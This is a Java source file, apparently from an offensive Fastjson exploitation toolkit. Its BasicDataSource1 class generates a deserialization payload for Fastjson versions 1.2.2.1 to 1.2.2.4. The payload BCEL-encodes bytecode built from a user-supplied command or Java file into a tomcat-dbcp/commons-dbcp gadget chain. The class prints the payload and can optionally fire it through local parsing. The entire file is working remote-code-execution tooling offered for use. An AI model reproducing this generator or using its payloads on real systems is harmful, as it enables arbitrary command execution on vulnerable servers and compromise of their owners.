package payloads;

import com.alibaba.fastjson.JSON;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import gadget.Gadget;
import payloads.annotation.Dependencies;
import payloads.annotation.PayloadType;
import payloads.annotation.VulVersion;
import util.JarFileReader;

import static util.Util.isExpression;

/*
* 只能在tomcat环境
* tomcat-dbcp:9.0.8不成功
* 还依赖commons-dbcp
* */


@PayloadType({PayloadType.LOCAL})
@VulVersion({"1.2.2.1-1.2.2.4"})
@Dependencies({"tomcat-dbcp:tomcat-dbcp:7.x","tomcat-dbcp:tomcat-dbcp:9.x","commons-dbcp:commons-dbcp:1.4"})
public class BasicDataSource1 implements ObjectPayload {
    @Override
    public void process(String[] args) {
        if(args.length != 2 && args.length != 3){
            System.out.println("[*] Usage: java -jar FastjsonExploit-[version].jar BasicDataSource1 \"[cmd:xxx|code:xxx.java]\"");
            return;
        }

        String expression = args[1].trim();

        if(!isExpression(expression)){
            System.out.println("[*] Expression:" + expression +  "format error！ eg: \"cmd:calc\" or \"code:custom_code.java\"");
            return;
        }

        try{

            JarFileReader jsr = new JarFileReader();
            String payload = jsr.read("BasicDataSource1.tpl");
            byte[] byteCode = Gadget.getBasicDataSource1ExpCode(expression);
            String classname = Utility.encode(byteCode,true);
            classname = "$$BCEL$$"+classname;
            payload = payload.replace("###EVIL_CODE###", classname);
            System.out.println("[*] payload build success!");
            System.out.println("\n" + payload + "\n");

            if(args.length == 3 && args[2].equals("-exec")){
                System.out.println("[*] Try local parsing");
                JSON.parseObject(payload);
            }
        }catch (Exception e){
            e.printStackTrace();
        }
    }
}
